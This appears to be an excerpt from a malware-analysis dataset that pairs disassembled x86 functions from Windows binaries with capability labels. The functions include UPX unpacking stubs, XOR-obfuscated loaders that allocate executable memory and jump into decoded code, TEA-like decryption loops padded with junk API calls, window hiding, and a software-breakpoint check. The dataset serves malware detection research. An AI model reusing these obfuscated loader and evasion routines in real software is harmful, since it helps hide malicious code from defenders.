joyce8/EMBER2024-capa huggingface dataset:
Function at 0x80ee20
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0x80c
cmp dword [0xb9b120], 0x37
jne 0x80eec6
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea eax, [esp + 0x410]
push eax
push 0
push 0x404118
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0x404160
push 0x4041a4
push 0x4041d0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov ecx, dword [0xb9b124]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x81b184]
mov byte [ecx + esi], al
add esp, 0x80c
ret
Function at 0x80f0d0
Capabilities:
Enumerate files on windows
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0xb9b120]
sub esp, 0x484
push ebx
mov ebx, dword [0x81b184]
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x80f2c1
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], eax
jmp 0x80f106
mov ebx, dword [esp + 0x20]
xor esi, esi
cmp dword [0xb9b120], 0x1c
jne 0x80f11d
lea eax, [esp + 0x40]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ecx, dword [ebx + 4]
mov edx, dword [str.E_n]
mov eax, dword [0x81470c]
mov edi, dword [ebx]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x814710]
mov dword [esp + 0x34], edx
mov edx, dword [0x814714]
mov ebx, 0xc6ef3720
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x24], 0x20
jmp 0x80f162
xor esi, esi
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x3c]
lea edx, [ebx + edi]
xor ecx, edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ecx
mov dword [0xb9a0a4], esi
mov eax, dword [esp + 0x1c]
add dword [0xb9a0a4], eax
mov eax, dword [0xb9a0a4]
mov dword [esp + 0x38], eax
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x38]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
sub dword [esp + 0x18], eax
mov edx, dword [esp + 0x18]
shl edx, 4
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x34]
add dword [esp + 0x14], eax
cmp dword [0xb9b120], 0x1be
mov eax, dword [esp + 0x18]
lea ebp, [ebx + eax]
jne 0x80f1f6
lea ecx, [esp + 0x44]
push ecx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov esi, dword [esp + 0x18]
shr esi, 5
add esi, dword [esp + 0x30]
cmp dword [0xb9b120], 0x979
mov dword [0xb9a0a8], 0xff6b3619
mov dword [0xb9a0ac], 0xffffffff
jne 0x80f245
push 0
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push 0
lea edx, [esp + 0x94]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [esp + 0x14]
xor esi, ebp
xor eax, esi
sub edi, eax
add ebx, 0x61c88647
dec dword [esp + 0x24]
mov dword [esp + 0x14], eax
jne 0x80f160
cmp dword [0xb9b120], 0x8d4
jne 0x80f27a
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], ecx
cmp dword [0xb9b120], 0x17
jne 0x80f2b0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x90]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add esi, 8
dec dword [esp + 0x28]
mov dword [esp + 0x20], esi
jne 0x80f100
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x484
ret
Function at 0x44c39a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x44c3a9
pop dword [ebp - 0x14]
mov eax, 0x81524b7f
add eax, 0x7ef2782a
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x28da5661
sub dword [ebp - 0x24], 0xda881116
mov dword [ebp - 0x20], 0x2fafb0f3
add dword [ebp - 0x20], 0x2839b52
mov dword [ebp - 0x1c], 0x9f575863
add dword [ebp - 0x1c], 0xacf4ebcb
mov dword [ebp - 0x18], 0x8806b5cc
sub dword [ebp - 0x18], 0x8806b5cc
lea eax, [ebp - 0x24]
push eax
mov eax, 0x74816da5
add eax, 0x8bc442bf
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x6e9a00b9
sub dword [ebp - 0x24], 0xfa279763
mov dword [ebp - 0x20], 0x74eb95d2
add dword [ebp - 0x20], 0xcc80cba3
mov dword [ebp - 0x1c], 0x2d54fa25
add dword [ebp - 0x1c], 0x361a7247
mov dword [ebp - 0x18], 0x79de719a
add dword [ebp - 0x18], 0x86218e66
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x4d46d
push 0
call eax
mov ecx, 0x47a1
mov edi, eax
mov ebx, 0xdbed3317
sub ebx, 0xdba5d317
add ebx, dword [ebp - 0x14]
mov esi, 0xefd7b67c
xor dword [ebp - 0x10], 0x86809e77
mov edx, dword [ebx]
sub dword [ebp - 8], 0x3025d37c
add edx, esi
mov dword [ebp - 0xc], 0x40d5218b
mov dword [edi], edx
sub dword [ebp - 0x10], 0xe8834506
add edi, 0xdc887164
sub edi, 0xdc887160
add ebx, 0x4de25d94
sub ebx, 0x4de25d90
loop 0x44c4ba
add eax, 0x8d93d200
add eax, 0x726d3f57
mov ebx, eax
add eax, 0xa4d592cb
add eax, 0x5b2a6d3a
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4027e0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40403d], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Salmimo
push str.Limoclass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402828
xor eax, eax
jmp 0x402843
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x77d110
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x77d2f4
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2ad000]
push edi
or ebp, 0xffffffff
jmp 0x77d13a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x77d141
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77d130
mov eax, 1
add ebx, ebx
jne 0x77d153
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x77d164
jne 0x77d183
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77d183
dec eax
add ebx, ebx
jne 0x77d170
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x77d148
add ebx, ebx
jne 0x77d17f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x77d1d5
xor ecx, ecx
sub eax, 3
jb 0x77d19b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x77d20a
sar eax, 1
mov ebp, eax
jmp 0x77d1a6
add ebx, ebx
jne 0x77d1a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77d174
inc ecx
add ebx, ebx
jne 0x77d1b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x77d174
add ebx, ebx
jne 0x77d1c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x77d1b6
jne 0x77d1d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x77d1b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x77d1f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x77d1e6
jmp 0x77d136
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x77d1f4
add edi, ecx
jmp 0x77d136
pop esi
mov edi, esi
mov ecx, 0xaeca
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x77d212
cmp byte [edi], 0x23
jne 0x77d212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x77d217
lea edi, [esi + 0x35f000]
mov eax, dword [edi]
or eax, eax
je 0x77d286
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x37df00]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x37e044]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x77d244
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x37e048]
or eax, eax
je 0x77d280
mov dword [ebx], eax
add ebx, 4
jmp 0x77d261
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x77d2b7
cmp al, 0xef
ja 0x77d2aa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x77d28c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x77d299
mov ebp, dword [esi + 0x37e04c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x77d2eb
sub esp, 0xffffff80
jmp 0x6568ac
Function at 0x4738a4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4735cc
add eax, esi
call fcn.004738df
and eax, esi
add esi, eax
sub esi, esi
xor dword [edi], ecx
or eax, eax
mov eax, 0x3b0343cd
add edi, 2
add esi, eax
add esi, 0x86f3a8bf
add eax, esi
cmp edi, ebx
jl fcn.004738a4
or esi, eax
ret

Function at 0x4373e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x437402
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x437409
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4373f8
mov eax, 1
add ebx, ebx
jne 0x43741b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x437410
jne 0x43742c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x437410
xor ecx, ecx
sub eax, 3
jb 0x437440
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4374b2
mov ebp, eax
add ebx, ebx
jne 0x43744b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x437458
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43747c
inc ecx
add ebx, ebx
jne 0x437468
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43745d
jne 0x437479
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43745d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43749c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43748d
jmp 0x4373fe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43749c
add edi, ecx
jmp 0x4373fe
pop esi
mov edi, esi
mov ecx, 0x46f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4374ba
cmp byte [edi], 7
jne 0x4374ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4374bf
lea edi, [esi + 0x35000]
mov eax, dword [edi]
or eax, eax
je 0x437537
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x37058]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x370d0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4374ec
mov ecx, edi
jns 0x43751b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x370d4]
or eax, eax
je 0x437531
mov dword [ebx], eax
add ebx, 4
jmp 0x437509
call dword [esi + 0x370e4]
mov ebp, dword [esi + 0x370d8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43756b
sub esp, 0xffffff80
jmp 0x401896
Function at 0x4085c0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x34
lea eax, [esp + 4]
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [esi + 0x178]
push eax
push ecx
call edi
mov ebx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov ebp, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
sub ebx, edx
mov edx, dword [esi + 0x178]
push 0
push 0x9f
push 0
push edx
sub ebp, ecx
call dword [sym.imp.USER32.dll_GetSystemMenu]
push eax
call dword [sym.imp.USER32.dll_GetMenuState]
cmp eax, 8
jne 0x408663
mov ecx, dword [esi + 0x17c]
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x14]
mov ecx, dword [esi + 0x17c]
sub edi, edx
mov edx, dword [esp + 0x18]
sub edi, 3
push 0x40
push edi
push ebx
push edx
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [esp + 0x18]
sub ebp, edi
add eax, edi
mov edi, dword [sym.imp.USER32.dll_GetClientRect]
mov dword [esp + 0x18], eax
jmp 0x408672
mov edx, dword [esi + 0x17c]
push 0
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [esp + 0x18]
lea eax, [ebp + 2]
push 0x40
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [ebx + 2]
dec edx
push ecx
mov ecx, dword [esi + 0x180]
dec eax
push edx
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov al, byte [esi + 0x3d65]
test al, al
jne 0x408788
mov ecx, esi
call fcn.0040dfb0
test al, al
je 0x4086d5
mov edx, dword [esi + 0x180]
mov edi, dword [sym.imp.USER32.dll_ShowScrollBar]
push 0
push 0
push edx
call edi
mov eax, dword [esi + 0x180]
push 0
push 1
push eax
call edi
jmp 0x4088db
mov eax, dword [esi + 0x4460]
mov edx, dword [esi + 0x180]
xor ecx, ecx
cmp ebp, eax
mov ebp, dword [sym.imp.USER32.dll_ShowScrollBar]
setl cl
push ecx
push 1
push edx
call ebp
mov ecx, dword [esi + 0x445c]
xor eax, eax
cmp ebx, ecx
mov ecx, dword [esi + 0x180]
setl al
push eax
push 0
push ecx
call ebp
mov eax, dword [esi + 0x180]
lea edx, [esp + 0x14]
push edx
push eax
call edi
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
sub ebx, eax
mov eax, dword [esi + 0x4460]
sub ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [esi + 0x180]
setl dl
push edx
push 1
push eax
call ebp
mov eax, dword [esi + 0x445c]
mov edx, dword [esi + 0x180]
xor ecx, ecx
cmp ebx, eax
setl cl
push ecx
push 0
push edx
call ebp
mov ecx, dword [esi + 0x180]
lea eax, [esp + 0x14]
push eax
push ecx
call edi
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
sub ebx, ecx
sub ebp, eax
jmp 0x4088db
mov edx, dword [esi + 0x178]
push edx
invalid
invalid
xchg esp, eax
Function at 0x422040
Capabilities:
Encrypt data using chaskey

Disassembly:
ror esi, 0x10
xor esi, 0x7ed584c
sub eax, 0x2154e706
rol esi, 5
dec eax
not esi
ror edx, 0x1d
sub esi, eax
ror ebx, 0x14
neg esi
invalid

Function at 0x424d20
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x424d50
push esi
call fcn.004280f0
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x424d49
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x424dd3
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x424dbf
mov eax, dword [esi + 8]
test eax, eax
je 0x424d74
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x424dbb
cmp eax, 2
je 0x424dbf
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x424d67
cmp eax, 3
je 0x424d9a
cmp eax, 1
jne 0x424d67
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x424d67
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x424d67
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.00424e00
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x424df3
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.00424e00
add esp, 4
pop esi
ret

Function at 0x431580
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4315a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00435cba
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4315c3
test byte [esp + 8], 2
je 0x4315c3
call fcn.00435d2d
mov dword [eax], 0xd
call fcn.00435d36
mov dword [eax], 5
jmp 0x43159c
xor eax, eax
ret
Function at 0x43666f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x449a48
cmp edx, dword [eax]
je 0x436691
add eax, 8
inc ecx
cmp eax, 0x449ad8
jl 0x436682
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x449a48]
jne 0x4367bf
mov eax, dword [0x44a498]
cmp eax, 1
je 0x436799
test eax, eax
jne 0x4366c2
cmp dword [0x447144], 1
je 0x436799
cmp edx, 0xfc
je 0x4367bf
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4366f9
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004380f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00433cf0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x43673c
lea eax, [ebp - 0x1a4]
push eax
call fcn.00433cf0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43d56c
push edi
call fcn.00430a40
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004380f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00438100
lea eax, [ebp - 0xa0]
push 0x43d54c
push eax
call fcn.00438100
push dword [esi + 0x449a4c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00438100
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00438c04
add esp, 0x2c
pop edi
jmp 0x4367bf
lea eax, [ebp + 8]
lea esi, [esi + 0x449a4c]
push 0
push eax
push dword [esi]
call fcn.00433cf0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4034a9
Capabilities:
Delete directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push ebx
push esi
xor esi, esi
cmp dword [0x4d5838], 0x594
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jne 0x4034ea
push esi
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0x402b88
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [str.KKD_n]
mov dword [ebp - 0x24], eax
mov eax, dword [0x424fbc]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.004034a2
mov eax, dword [0x424fc0]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x424fc4]
add ebx, 0x23f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, dword [ebp - 0x10]
mov ecx, eax
shl ecx, 4
cmp dword [0x4d5838], 0xc
mov dword [ebp - 4], ecx
jne 0x403575
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push esi
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
add dword [ebp - 4], ecx
mov ecx, dword [0x4d5838]
cmp ecx, 0xfa9
jne 0x403593
mov dword [0x4d4dd4], 0xedeb2e40
cmp ecx, 0x3eb
jne 0x4035a1
mov dword [0x4d4788], esi
lea ecx, [ebx + eax]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 8]
shr eax, cl
mov dword [0x4d4dd0], 0xf4ea3dee
add eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor ecx, dword [ebp - 4]
cmp dword [0x4d5838], 0x213
mov dword [ebp - 0x14], ecx
jne 0x4035df
push esi
push 0x402bf8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
cmp dword [0x4d5838], 0xc
jne 0x403626
lea eax, [ebp - 0x14]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push esi
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push esi
lea eax, [ebp - 0x830]
push eax
push 0x402c38
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ebx + eax]
xor dword [ebp - 4], edx
shr eax, cl
add eax, dword [ebp - 0x20]
cmp dword [0x4d5838], 0x121
mov edi, eax
jne 0x40365b
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
xor dword [ebp - 4], edi
mov eax, dword [ebp - 4]
sub dword [ebp - 0x10], eax
add ebx, 0x61c88647
dec dword [ebp - 0x18]
jne 0x403525
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
pop esi
mov dword [eax + 4], ecx
pop ebx
leave
ret 4
Function at 0x403688
Capabilities:
Create pipe
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4d5838]
mov ecx, dword [0x4d478c]
sub esp, 0xe84
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x40378b
mov ebx, ecx
mov dword [ebp - 8], eax
cmp dword [0x4d5838], 0x959
jne 0x403779
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
push esi
push esi
lea eax, [ebp - 0x680]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x402c88
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x402d10
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0xe80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_InterlockedFlushSList]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call fcn.004034a9
add ebx, 8
dec dword [ebp - 8]
jne 0x4036b1
pop edi
pop esi
pop ebx
leave
ret